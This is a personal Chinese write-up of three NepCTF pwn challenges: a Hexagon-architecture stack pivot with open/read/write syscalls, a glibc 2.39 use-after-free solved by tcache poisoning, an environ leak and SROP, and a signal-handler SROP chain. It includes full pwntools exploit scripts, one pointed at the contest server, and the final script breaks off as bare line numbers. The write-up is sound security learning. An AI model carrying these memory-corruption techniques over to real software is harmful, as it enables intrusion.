前言：最近在同学家玩，忙里偷闲打一打 nepctf，纯手搓的 wp，能不能给我个惊喜嘿嘿 ^_^

其实打这场比赛主要是为了学一点新知识，大一结束了，转头发现其实大一也没打过什么有意思的比赛，nep 的口碑一直挺不错的，想着学习学习。开了四个 pwn 两个 re 和一个 web 还有一个 realworld，其中 realworld 和一个 re 是直接让 ai 打得，不得不感叹 ai 确实是比人强得多，感觉除了强之外还有快，让所有 ctfer 在比赛当中为了拿血或高分不得不使用 ai 自动化开题，不过像这种公益性的比赛，我决定在自己学习的方向还是古法，途中也确实借助了大模型给出不少思路，这些思路也可以去学习，思考为什么这么去做，怎么能够想到这么去做，将 ai 当成一个合理学习的工具。

虽然这一次开题非常慢，也没有拿到一个较高的排名，但是很高兴的是能够靠自己手开出来这些题目，这种愉悦感还是很久违了，之前打比赛一直就是自动化开。

简单总结了三道 pwn 的做题思路，由于在同学家玩，乐不思蜀了属于是，写 wp 比较懒散，js 那道题的话之后会总结到博客上。

different_ROP

解题记录：

话说这道题目是 Hexagon 架构的，之前 VN2025 出过一道该架构的题目，但这场比赛的题目没有复现过，因此一开始写这道题目的时候也确实是有点束手无策了，那么就先学一点这个架构的知识。

解题思路：

先看一下题目，其实这里一开始打开还以为是常规的 x32pwn 哈哈，直到 IDA 打不开了才发现不是正常架构

于是搜了一下 QUALCOMM DSP6：

最开始尝试用 IDA 打开这个题目去分析，却发现没有 ida-hexagon 插件打不开，于是先去装了个插件：
https://github.com/gsmk/hexagon

很可惜，打开之后不支持 F5 伪代码，那就只能去看汇编找溢出了，像这种异构 pwn 基本上都是找栈溢出，简单看了一下汇编代码，像是 mips 架构和 x64 的架构的混合版 emmmm，还是先去学习一下 hexagon 架构汇编：

学习 hexagon：

依靠 x64 架构来学习 hexgon 还是比较快的：实际上差别也就是寄存器上了，调用原理都大差不差

1
2
3
4
5
r0 r1 r2 r3 ...  ->   rax rbx rcx rdx 
fp               ->   rbp 
sp               ->   rsp 
lr               ->   ret, addr; lr 是 link register，函数调用返回地址通常放在这里
pc               ->   rip

学这么多差不多够了吧(心虚) emmmm……，开干

IDA 静态分析：

打开直接进入 start 函数，那么首要任务是去寻找 main 函数，但这里并没有被反编译出来，运行一下pwn文件：

找到 hint：

  • Hint: on amd64 Linux, arguments travel through real registers.
  • Hint: if a file is the goal, open/read/write is usually quieter than a shell.

因此有了初步的想法：打 ORW，IDA 直接找字符串定位 main 函数：

找一下交叉引用：Ctrl + X，于是乎直接找到了菜单

继续查找一下 sub_21350 函数的交叉引用：

进入到了 loc_21228 那么这里应该就是 main 函数了吧？读一读汇编：

上来就是调用菜单，我们改名为 menu：先分析这一部分

1
2
3
4
.text:00021228                 { call menu }
.text:0002122C                 { r0 = add(fp, #-0x18) }
.text:00021230                 { r1 = #0x10 }
.text:00021234                 { call sub_213B0 }

猜测这里是读菜单输入，最多读 0x10 字节到 fp - 0x18，这个地方没有明显溢出。

之后会调用 sub_213B0，瞅一瞅：刚才是猜测，这里来验证一下这个函数：

没什么看下去的欲望，让 ai 分析了一份伪 C 代码：就是一个简单读取

1
2
3
4
5
6
7
8
void sub_213B0(char *buf, int size) {
    if (fgets(buf, size, stdin) == NULL) {
        puts("input closed");
        exit(0);
    }

    buf[strcspn(buf, "\n")] = '\0';
}

然后：

1
2
3
4
.text:00021238                 { r0 = memub(fp + #var_18) }
.text:0002123C                 { r0 = add(r0, #-0x31) }
.text:00021244                 { p0 = cmp.gtu(r0, #4) }
.text:00021248                 { if (p0) jump loc_21298 }

memub 是 memory unsigned byte ：从内存读取 1 字节，并按无符号数扩展到寄存器

那就从 fp 寄存器读取一个字节，这里指的是我们输入的字符，-0x31，r 之后发现 0x31 实际上就是 1：

也就是 r0 = r0-1

接着： .text:00021244 { p0 = cmp.gtu(r0, #4) }

无符号比较 cmp.gtu：p0 = (r0 > 4)，如果大于 4，说明不是合法菜单项，跳到 loc_21298，是个报错信息

若报错会返回 main 函数的最开始

ok、分析到了这里也就大概知道前面其实就是一个读取菜单 index 的服务，就没必要再继续分析了，按理来说漏洞点肯定在菜单函数指向的 12345 当中的函数，也就是这里：

1
2
3
4
5
输入 1 -> 0x21264 -> call sub_21430
输入 2 -> 0x2126C -> call sub_21490
输入 3 -> 0x21274 -> call sub_21590  
输入 4 -> 0x2127C -> call sub_21600
输入 5 -> 0x21284 -> lab closed

运行 pwn 文件结合分析：

直接读汇编难度还是太大了，运行 pwn 文件能节省很多时间：

我们发现 1 实际上是直接打印，2 和 3 会让你输入一些东西，4 是 hint，5 是 exit

那么就是说漏洞 ORW 只存在于 2 和 3，

然而 2 叫做 set fake ROP register，并给出警告：stored. still no such architectural register, though

让我们不要把他当作真是寄存器利用，也就是 2 也是无效的，那么漏洞点只能存在于 3 了。

准备 K 题

我们现在明确了大致方向，漏洞点在 3，且利用手法是 ORW，分析一下 3：

1
2
3
4
0x215B8  r0 = #0
0x215BC  r1 = add(fp, #-0x30)
0x215C0  r2 = #0x40
0x215C4  call sub_2B8C0

漏洞主要在这几行，sub_2B8C0 实际上类似于 read 函数

简单描述就是read(0, fp - 0x30, 0x40);，那么很明显，给了 0x30 的缓冲区却可以写 0x40 的内容

有栈溢出，写入长度又不够，那就很明显的栈迁移再打 ORW 喽

EXP 思路：

异构 pwn 和常见的 pwn 来说无非是寄存器不同，调用原理是基本一致的因此按照 32 位栈迁移+ORW 打即可：

打栈迁移养成好习惯，时刻记录 rbp：

先做一些准备工作

我们在 ORW 的时候是需要 syscall 调用的，需要找到类似于 pop_eax 这类的 gadgets，结果找到了这么一段：

有点类似于 csu 的那个样子，可以帮我们分配 r6、r0、r1、r2 寄存器，var 就是负偏移栈变量名

1
2
3
4
fp + var_14 = fp - 0x14
fp + var_18 = fp - 0x18
fp + var_1C = fp - 0x1c
fp + var_20 = fp - 0x20

这下我们调用 syscall 的时候就可以随意传参了

栈迁移

1
2
3
4
5
payload1 = flat({
        0x30: p(bss + 0x30),
        0x34: p(0x215b8),
    },
)

想要打 ORW 就必须保证可读可写，因此需要先迁移到 .bss 段上，修改一下 fp 然后跳回 read 函数

此时 fp = bss + 0x30，执行 read(0, fp-0x30, 0x40) 就直接写到 .bss 段上了。

那么接下来又存在一个问题：这个 read 只有 0x40 的大小可写，我们想要构造 ORW 的 payload 显然要远远超出这个长度，那么这个问题该如何解决？

syscall 调用 read

前面提到我们有 syscall 这个 gadgets 就可以进行其他的系统调用，我们就可以构造一个足够大的 read

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
syscall = 0x21ab8
bss = 0x4be00
addr = bss + 0x100
read = 63

payload2 = flat({
        0x00: p32(0x400),
        0x04: p32(addr),
        0x08: p32(0),
        0x0c: p32(read),
        0x20: p32(addr + 0x20),
        0x24: p32(syscall),
        0x30: p32(bss + 0x20),
        0x34: p32(syscall),
    },
)

在 .bss 段构造如上 payload2，在 read 结束后的 fp = .bss + 0x30，最后会走到 dealloc_return

因此会执行 saved fp = *(bss + 0x30)，leave，ret

因此 fp = bss+0x20，且跳转到 bss+0x20，之后执行 syscall，根据其调用规则再去构造一个 read

1
2
3
4
fp + var_14 = fp - 0x14
fp + var_18 = fp - 0x18
fp + var_1C = fp - 0x1c
fp + var_20 = fp - 0x20

为了构造read(0, addr, 0x400)，就在 payload2 的一开始构造这样的 rop

1
2
3
4
0x00: p32(0x400),
0x04: p32(addr),
0x08: p32(0),
0x0c: p32(read),

在这次read(0, addr, 0x400)我们就可以构造最后的 ORW 了

但是不要忘记在这次 syscall(read)结束之后还需要继续 saved fp = *(bss + 0x20)，leave，ret

1
2
0x20: p32(addr + 0x20),
0x24: p32(syscall),

因此给足 0x20 的大小放参数即可：p32(addr + 0x20)

ORW

1
2
3
4
5
payload3 = (
    p32(0) + p32(path) + p32(0) + p32(openat) + b"a"*0x10 + p32(addr + 0x40 + 0x20) + p32(syscall) + b"a"*0x18 +
    p32(0x100) + p32(buf) + p32(3) + p32(read) + b"a"*0x10 + p32(addr + 0x80 + 0x20) + p32(syscall) + b"a"*0x18 +
    p32(0x100) + p32(buf) + p32(2) + p32(write) + b"a"*0x10 + p32(0x20) + p32(syscall) + b"a"*0x18
)

这里就直接放 ORW 链子了，相信能写到这一步的人写个 ORW 肯定是比较轻松了，不多做解释了

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context.log_level = "error"
io = remote("7lq4vmx8-yxhz-uwfa-gyib-6a5a7b3431118-neptune.nepctf.com",443,ssl=True)
# ncat --ssl 7lq4vmx8-yxhz-uwfa-gyib-6a5a7b3431118-neptune.nepctf.com 443
syscall = 0x21ab8
bss = 0x4be00
addr = bss + 0x100
path = bss + 0x280
buf = bss + 0x300
openat = 56
read = 63
write = 64

payload1 = flat({
        0x30: p32(bss + 0x30),
        0x34: p32(0x215b8),
    },
)

payload2 = flat({
        0x00: p32(0x400),
        0x04: p32(addr),
        0x08: p32(0),
        0x0c: p32(read),
        0x20: p32(addr + 0x20),
        0x24: p32(syscall),
        0x30: p32(bss + 0x20),
        0x34: p32(syscall),
    },
    length=0x40
)

payload3 = (
    p32(0) + p32(path) + p32(0) + p32(openat) + b"a"*0x10 + p32(addr + 0x40 + 0x20) + p32(syscall) + b"a"*0x18 +
    p32(0x100) + p32(buf) + p32(3) + p32(read) + b"a"*0x10 + p32(addr + 0x80 + 0x20) + p32(syscall) + b"a"*0x18 +
    p32(0x100) + p32(buf) + p32(2) + p32(write) + b"a"*0x10 + p32(0x20) + p32(syscall) + b"a"*0x18
)
payload3 = payload3.ljust(path - addr, b"a") + b"/flag\x00"
payload3 = payload3.ljust(0x400, b"a")

io.sendlineafter(b"> ", b"3")
io.sendafter(b"note> ", payload1)
io.send(payload2)
io.send(payload3)

io.interactive()

onlyone

总而言之这道题目打下来给人感觉是东西太多了，添加了父子进程和管道，一开始写的时候就懵着写，读懂程序花了不少时间 emmm，不过好在还是很有收获的一道题目 ^_^

解题记录：

解题思路

开完题目后复现的，因此文件中直接包含 exp，无伤大雅，懒得整一个纯净文件了，重新 patch 怪麻烦

大概说一下从最开始到解出的关键步骤，大部分试错部分就不演示了：

依旧看一下防护以及 libc 版本：

版本给到 2.39，话说最近的比赛基本上都是 2.39 的版本，怎么都这么高啊 T _ T、、

IDA 静态分析：

直接找到 main 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 __fastcall main(int a1, char **a2, char **a3)
{
    char v4; // [rsp+3h] [rbp-2Dh] BYREF
    __pid_t v5; // [rsp+4h] [rbp-2Ch]
    ssize_t v6; // [rsp+8h] [rbp-28h]
    int pipedes[2]; // [rsp+10h] [rbp-20h] BYREF
    int fd[2]; // [rsp+18h] [rbp-18h] BYREF
    int buf; // [rsp+22h] [rbp-Eh] BYREF
    __int16 v10; // [rsp+26h] [rbp-Ah]
    unsigned __int64 v11; // [rsp+28h] [rbp-8h]

    v11 = __readfsqword(0x28u);
    buf = 0;
    v10 = 0;
    v4 = 49;
    if ( pipe(pipedes) )
        sub_141F("start pipe failed\n", a2);
    if ( pipe(fd) )
        sub_141F("notify pipe failed\n", a2);
    v5 = fork();
    if ( v5 < 0 )
        sub_141F("fork failed\n", a2);
    if ( !v5 )
    {
        close(pipedes[1]);
        close(fd[0]);
        dword_5010 = fd[1];
        sub_1459(1000, 1000);
        sub_24D2((unsigned int)pipedes[0]);
        _exit(0);
    }
    close(pipedes[0]);
    close(fd[1]);
    sub_1459(1001, 1001);
    sub_1784();
    sub_13B9((unsigned int)pipedes[1], &v4, 1);
    close(pipedes[1]);
    v6 = read(fd[0], &buf, 6u);
    close(fd[0]);
    if ( v6 == 6 && !memcmp(&buf, "Nepnep", 6u) )
        sub_1820(&byte_5120, qword_5220);
    else
        sub_13B9(1, "no flag for you\n", 16);
    return 0;
}

pipe(pipedes) 是 Linux/Unix 里的系统调用，用来创建一个匿名管道，常用于父子进程之间通信。

之后无哦们看一下 sub_141F 这个函数：直接截到一张图里去分析

v1 = strlen(a1)，而 a1 又是 sub_141F 传入的参数，之后 v1 作为参数 a3 传入了 sub_13B9 作为循环数

那么这里大概就明白了，见过很多这类的，实际上就是循环读入

我们直接把 sub_141F 改名成 write_0 增加可读性，

之后敏锐的察觉到这个 49，既然是匿名管道的系统调用，那么去查一下调用号 49 是什么：

目前的话没什么大用处，先留意一下

结合上面一小段伪 C 代码来看：

  • pipe：成功返回 0，失败返回 -1
  • pipe(pipedes)：创建第一个管道，失败就报 start pipe failed
  • pipe(fd)：创建第二个管道，失败就报 notify pipe failed
  • fork()：创建子进程，失败就报 fork failed

之后继续往下看：

if 在父子进程或者 webpwn 之类题目里面，很大一部分都是报错信息，因此这一部分考虑先跳过去，往下看：

1
2
3
setgroups(0, NULL);
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

sub_1459(1001, 1001)：意思是把当前进程切到：uid = 1001；gid = 1001

这里有一个切换权限的操作，也就意味着一开始我们的权限并不是 1001，还好给了 dockerfile：

也就是在 docker 当中是先以 root 权限操作的，在当中有一个降权的过程

结果最终是通过 sub_1784 把 flag 写到了 byte_5120

往后看 sub_1820 依旧是一个打印函数

先读 flag，存在内存里，然后等子进程通过管道发 6 字节，只有收到 “Nepnep” 才打印 flag，否则不打印

没什么发现，再回去看一看 if：

后话：哈哈当时确实是这么搞得，没想到 if 里面却是最重要的菜单，前面一开始属于是自作聪明了，之前写过一部分 webpwn，一大堆 if 语句也是分析麻了，后面渐渐就开始跳过 if，结果这次就翻车了，继续分析吧：

直接分析 sub_14D2

直接做一些基础逆向，就少说点吧，前面写那么细感觉有点累还有点累赘：


发现开启了沙箱：

发现很奇怪，为什么看不了沙箱呢？想了很久不太清楚原因，于是就问了一下 ai，大致解答如下：

seccomp-tools dump 会运行目标程序，目标程序会 fork，父进程读 flag 失败会打印 flag missing，子进程随后继续执行并开启 seccomp，dump 工具要跟到子进程的 prctl(PR_SET_SECCOMP) 才能看到规则。

1
2
3
4
mkdir -p /priv
echo 'flag{local_test}' > /priv/flag.txt
chown 1001:1001 /priv/flag.txt
chmod 400 /priv/flag.txt

如果本地 /priv/flag.txt 不存在或权限不对。pwn_patched 的父进程会先执行：

1
2
sub_1459(1001, 1001);
sub_1784();  // open("/priv/flag.txt")

所以本地要有：/priv/flag.txt，并且要让 uid=1001 能读。

add：

直接挑关键的信息来：

add(idx)可以分配一个 0x30 大小 chunk 到 slot[idx]，之后还有一个判断：

1
2
3
4
5
6
if ( (unsigned int)sub_1882(s, s + 48, &stderr[-2].__pad4, &stderr[1])
          || (unsigned int)sub_1882(s, v3, stdin - 48, stdin + 216)
          || (unsigned int)sub_1882(s, v3, &stdout[-1].__pad3, &stdout[1]) )
{
    _exit(0);
}

判断新分配到的 [s, s+48] 是否落在 stdin/stdout/stderr 的 FILE 结构附近。如果落进去就退出，防止直接打 _IO_FILE。那么 2.39 不让打 _IO_FILE，这是不是有点？先继续往下看吧

write：

操作 2 说是 write，实际上就是 edit，可以向一个已分配的 slot 写入 0x30 字节数据

free：

很明显的 UAF 吧，事实上到这里的话，如果再没有一个 UAF 我可能就直接放弃了，没有 UAF 又不让打 _IO_FILE，在 2.39 这么一个高版本的 glibc 情况下，肯定就是一个非常严苛的漏洞点了

不过话又说回来了，这不是有 UAF 嘛

show：

只能使用一次的 show，只能直接泄露 slot[idx].ptr 这个指针值

poke：

只能改 freed slot，最多用两次且一次只能修改 8 字节

trigger：
1
2
3
4
5
6
if ( buf == 112 || buf == 100 || buf == 115 || buf == 110 || v5 == 112 || v5 == 100 || v5 == 115 || v5 == 110 )
    _exit(0);
printf(&buf, *((_QWORD *)&unk_5060 + 3 * (int)v2));
write_1(1, "\n", 1);
fflush(stdout);
dword_50F8 = 1;

主要是这里吧，其实这个函数到后面分析完发现也没什么用处，当时还在这里浪费了一段时间。

总结一下思路：

也就是说我们想要拿到 flag，就必须控制 buf = Nepnep

看一下 buf，发现是写到栈上的，那么就不难考虑到 environ，environ 是在堆题目当中常用的一种栈泄露手法，如果我们能够寻找到 environ 并控制对应的栈地址，就可以在里面填充 Nepnep 从而绕过判断

EXP 思路

准备工作

打这道题目还是比较麻烦的，要么起一个 docker，要么就要按照 docker 复现一个类似的环境

docker 起了半天没有成功，那就在本地创建几个文件去模拟环境，在此再次强调：

1
2
3
4
mkdir -p /priv
echo 'flag{local_test}' > /priv/flag.txt
chown 1001:1001 /priv/flag.txt
chmod 400 /priv/flag.txt

如果本地 /priv/flag.txt 不存在或权限不对。pwn_patched 的父进程会先执行：

1
2
sub_1459(1001, 1001);
sub_1784();  // open("/priv/flag.txt")

所以本地要有：/priv/flag.txt，并且要让 uid=1001 能读。

留意到前面给了一个 gift，目前并不知道这个是什么意思

在新增 /priv/flag.txt 文件之后依旧可以显示出来，因此我们可以在一开始去泄露这个地址，动调看一看：

1
2
3
4
5
6
io = start()

gift = int(io.recvline_contains(b"gift").split()[-1], 16)
log.success(f'gift is {hex(gift)}')
gdb.attach(io)
pause()

发现实际上是 printf 的地址，那么我们就可以直接拿 libc 基地址了，还有这好事？^_^//

1
2
3
4
5
libc.address = gift - libc.sym["printf"]
log.success("libc base = %#x", libc.address)

gdb.attach(io)
pause()

确实可以泄露 libc，没什么问题，那么我们接下来就好受多了

先打一个 poisoning

1
2
3
add(io, 0)
delete(io, 0)
poke(io, 0, libc.sym["environ"])

修改第一个 slot 0 的 fd 指针指向 environ，然后利用 environ 去泄露栈地址：

1
2
3
4
5
add(io, 1)
add(io, 2)
add(io, 3)
environ = show(io, 3)
log.info("environ is = %#x", environ)

environ 是一个全局变量，它本身在 libc 里，保存的是指向栈上环境变量数组的指针

实际上也就是 chunk0 -> libc.environ -> *libc.environ = stack_addr就可以泄露栈地址

第二次 freelist posioning

1
2
3
4
delete(io, 3)
poke(io, 3, stack_addr)
add(io, 4)  # slot[4].ptr = environ
add(io, 5)  # slot[5].ptr = stack_addr

这里和第一步是一样的，就不多做解释了，这样就可以用 edit 创建两个可写地址

之后按理来说打一个 ORW 直接去写 flag 即可，像这样：

1
2
3
4
5
6
payload = flat(
    pop_rdi, 6,
    pop_rsi, buf,
    pop_rdx, 6,
    libc.sym["write"],
)

不过在这里遇到了一个问题，在寻找 pop_rdx 的时候并没有寻找到一个干净的 pop_rdx_ret：

这也就意味着我们的 rdx 无法进行传参，与此同时还发现了第二个问题：

add 本身实际只有 0x30 的大小，上面 write 链实则占用了 0x38 出现了溢出的情况，于是首先应当考虑的是迁移

栈迁移：

那么暂且不考虑 poprdx 的问题，这个肯定是要在后面找东西替代的，既然是替代，其代码量只会多不会少，因此做一个栈迁移是必要的。衍生出两个问题：1. 迁到哪里？2. 怎么迁移？

前面利用 posioning 我们构建出了两个可写地址，分别是 environ 和 stack_addr

利用 stack_addr 当作踏板去执行 rip =environ，迁移到 environ，之后我们可以在 environ 中布置 rop 链：

1
2
3
4
5
payload1 = flat(
    pop_rsp,
    environ,
)
edit(io, 5, payload1)

SROP：

之后开始思考如何构造一个 rop 链，不超过 0x30 大小，也可以绕过 pop_rdx。在学习栈 pwn 的过程中有这么一种手法，适用于在缺少 gadgets 的情况打 ROP 链，当时首要的想法就是打一个 SROP 执行 write：

触发 SROP 首先要有rt_sigreturn 作为信号返回帧恢复寄存器

1
2
3
4
5
6
7
8
9
frame_addr = environ + 0x30
payload2 = flat(
    pop_rdi,
    frame_addr,
    gets,
    pop_rax,
    constants.SYS_rt_sigreturn,
    syscall,  # 0x28
)

gets(frame_addr)，执行 rt_sigreturn。所以执行 syscall 后，内核会恢复fake_frame

这里给了 fd = 6，那就按题目给的值走 rdx = 6：

1
2
3
4
5
6
7
8
9
10
11
addr = frame_addr + len(bytes(SigreturnFrame()))

frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 6
frame.rsi = addr
frame.rdx = 6
frame.rsp = environ + 0x800
frame.rip = syscall

io.send(bytes(frame) + b"Nepnep\n")

最终利用 SROP 执行 write(6, “Nepnep”, 6);

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
from pwn import *

context.arch = "amd64"
context.log_level = "info"

BIN = args.BIN or "./pwn_patched"
elf = ELF(BIN, checksec=False)
libc = ELF("./libc.so.6", checksec=False)


def start():
    return process([elf.path])


def add(io, idx):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvuntil(b"done\n")


def edit(io, idx, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendafter(b"input: ", data)


def delete(io, idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvuntil(b"done\n")


def show(io, idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"idx: ", str(idx).encode())
    return int(io.recvline().strip(), 16)


def poke(io, idx, value):
    io.sendlineafter(b"> ", b"5")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"qword: ", str(value).encode())
    io.recvuntil(b"done\n")


io = start()

gift = int(io.recvline_contains(b"gift").split()[-1], 16)
libc.address = gift - libc.sym["printf"]
log.info("libc base = %#x", libc.address)

add(io, 0)
delete(io, 0)
poke(io, 0, libc.sym["environ"])

add(io, 1)
add(io, 2)
add(io, 3)
environ = show(io, 3)
log.success(f"environ is -> {hex(environ)}")

stack_addr = environ - 0x1e0
log.success(f"environ = {hex(environ)} (stack_addr={hex(stack_addr)})")

delete(io, 3)
poke(io, 3, stack_addr)
add(io, 4)  # slot[4].ptr = envp
add(io, 5)  # slot[5].ptr = stack_addr

pop_rsp = libc.address + 0x3C068
pop_rdi = libc.address + 0x10F78B
pop_rax = libc.address + 0xDD237
syscall = libc.address + 0x98FB6
gets = libc.sym["gets"]

frame_addr = environ + 0x30
marker_addr = frame_addr + len(bytes(SigreturnFrame()))

payload2 = flat(
    pop_rdi,
    frame_addr,
    gets,
    pop_rax,
    constants.SYS_rt_sigreturn,
    syscall,
)

payload1 = flat(
    pop_rsp,
    environ,
).ljust(0x30, b"\x00")

frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 6
frame.rsi = marker_addr
frame.rdx = 6
frame.rsp = environ + 0x800
frame.rip = syscall

edit(io, 4, payload2)
edit(io, 5, payload1)

io.send(bytes(frame) + b"Nepnep\n")

print(io.recvall(timeout=3).decode(errors="replace"), end="")

直接打本地了

另一种解法：

朋友用 ai 开出来的一种解法：修了一下大概是这个样子：

总体思路没有变化，只是在打 ORW 的 write 的时候寻找到了一个 write：用这个一次就写成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
from pwn import *

context.arch = "amd64"
context.log_level = "info"

BIN = args.BIN or "./pwn_patched"
elf = ELF(BIN, checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.terminal=["tmux","splitw","-h"]


def start():
    io = process([elf.path])
    if args.GDB:
        gdb.attach(io)
    return io


def add(io, idx):
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvuntil(b"done\n")


def edit(io, idx, data):
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendafter(b"input: ", data)


def delete(io, idx):
    io.sendlineafter(b"> ", b"3")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.recvuntil(b"done\n")


def show(io, idx):
    io.sendlineafter(b"> ", b"4")
    io.sendlineafter(b"idx: ", str(idx).encode())
    return int(io.recvline().strip(), 16)


def poke(io, idx, value):
    io.sendlineafter(b"> ", b"5")
    io.sendlineafter(b"idx: ", str(idx).encode())
    io.sendlineafter(b"qword: ", str(value).encode())
    io.recvuntil(b"done\n")


def main():
    if elf.path.endswith("pwn_patched") and not os.path.exists("/priv/flag.txt"):
        log.warning("local /priv/flag.txt is missing; exploit can run, but parent may have no flag to print")

    io = start()

    gift = int(io.recvline_contains(b"gift").split()[-1], 16)
    log.success(f'gift is {hex(gift)}')
    # gdb.attach(io)
    # pause()
    libc.address = gift - libc.sym["printf"]
    log.success("libc base = %#x", libc.address)

    add(io, 0)
    delete(io, 0)
    poke(io, 0, libc.sym["environ"])

    add(io, 1)
    add(io, 2)
    add(io, 3)
    environ = show(io, 3)
    log.info("environ is = %#x", environ)

    stack_addr = environ - 0x250
    log.success(f'stack_addr is {stack_addr}')

    delete(io, 3)
    poke(io, 3, stack_addr)
    add(io, 4)
    add(io, 5)

    pop_rdi = libc.address + 0x10F78B
    pop_rbx = libc.address + 0x586E4
    write_gadget = libc.address + 0x8FAF4
    nepnep = stack_addr + 5 * 8

    payload = flat(
        pop_rdi,
        6, 
        pop_rbx,
        nepnep,
        write_gadget,
        b"Nepnep\x00\x00",
    )
    assert len(payload) == 0x30

    edit(io, 5, payload)

    if args.INTERACTIVE:
        io.interactive()
    else:
        print(io.recvall(timeout=3).decode(errors="replace"), end="")

if __name__ == "__main__":
    main()

shadow_signal

这道题目的利用手法主要是 ORW-SROP，记得有和这个很像的一道题目：[ NewStarCTF 2025 ]only_read

之前做过笔记，因此很快就想到了这样的利用手法，利用 syscall 调用 ORW

解题记录：

这道题开始写的时候已经一百多解了，主要是最近也比较忙，忙着去同学家玩哈哈，抽空来写一写，以至于写完这场比赛已经快结束了。现在依旧在同学家 emmm 还要写 wp 呃呃，现在已经是 20 号下午五点了，js 那个题目可能是没时间去写 wp 了，毕竟八点就要交 wp 了，之后写一写统一发布到博客上吧再 0.O、、

解题思路：

glibc 给到 2.35 版本，还是先从 IDA 静态分析

IDA 静态分析：

main：

非常简短的 main 函数，另外开启了沙箱，也就是说依旧要打 ORW，前面连着已经一直在打 ORW 了呃呃

我们从 main 函数中可以看到一开始给了个 printf 去打印 stdout，运行一下程序看看是怎么个事儿：

意思是说直接给了 stdout 地址吗？那很可以了，直接给 libc 基地址了，不放心的话可以动态调试一下看看

之后 puts(buf);，假设传入 1 等非法地址，就会触发 SIGSEGV 进入到 handler

init：

这里解释一下为什么会触发 SIGSEGV 进入到 handler：

在 init 当中注册了 handler，因此 SIGSEGV 不会直接崩溃退出，而是进入 handler()。

handler：

handler 有一个很明显的栈溢出，不过需要注意的一点是：

1
2
3
4
5
if ( retaddr != (void *)shadow_saved_rip )
{
    write(1, "shadow stack broken\n", 0x14u);
    _exit(1);
}

不能修改返回地址，但这里是 signal handler，Linux 调用 signal handler 时，handler 原本的返回地址就是 libc 里的 __restore_rt，我们不动返回地址即可

1
readelf -Ws ./libc.so.6 | grep __restore_rt

EXP 思路：

泄露 libc
1
2
3
gift = int(io.recvline_contains(b"gift").split()[-1], 16)
libc.address = gift - libc.sym["_IO_2_1_stdout_"]
log.info("libc base = %#x", libc.address)
第一次 SROP
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def make_frame(rax, rdi, rsi, rdx, rsp, rip):
    frame = SigreturnFrame()
    frame.rax = rax
    frame.rdi = rdi
    frame.rsi = rsi
    frame.rdx = rdx
    frame.rsp = rsp
    frame.rip = rip
    return bytes(frame)

stage = bss + 0x800
syscall = libc.address + 0x91316
restore_rt = libc.address + 0x42520

payload2 = flat(
    b"a" * 0x110,
    0,
    restore_rt,
    make_frame(constants.SYS_read, 0, stage, 0x600, stage, syscall),
).ljust(0x500, b"\x00")

执行 read(0, stage, 0x600)，把 payload3 读到 .bss

ORWSROP：
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
payload3 = flat({
        0x000: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_open, path, 0, 0, read_chain, syscall),
        ),
        0x180: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_read, 3, buf, 0x200, write_chain, syscall),
        ),
        0x300: flat(
            pop_rax,
            constants.SYS_rt_sigreturn,
            syscall,
            make_frame(constants.SYS_write, 1, buf, 0x200, stage + 0x580, syscall),
        ),
        0x480: FLAG + b"\x00",
    },
    length=0x600,
    filler=b"a",
)

最后一步就是利用 SROP 去分别调用 open，read，write，简单分析一个，然后剩下的就举一反三吧：

1
2
3
4
5
6
7
8
path = stage + 0x480   # 0x480: FLAG + b"\x00"

0x000: flat(
    pop_rax,
    constants.SYS_rt_sigreturn,
    syscall,
    make_frame(constants.SYS_open, path, 0, 0, read_chain, syscall),
),

先利用 syscall 调用constants.SYS_rt_sigreturn触发中断，之后利用 SROP 执行open("flag", 0);

设置 rsp = read_chain = bss + 0x180，然后执行 read-srop

同理去布置 read 和 write 的 SROP-ORW 链即可，最后发送 payload 去接收即可：

1
2
3
4
io.send(payload1)
io.recvuntil(b"signal\n")
io.send(payload2)
io.send(payload3)

总 EXP：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
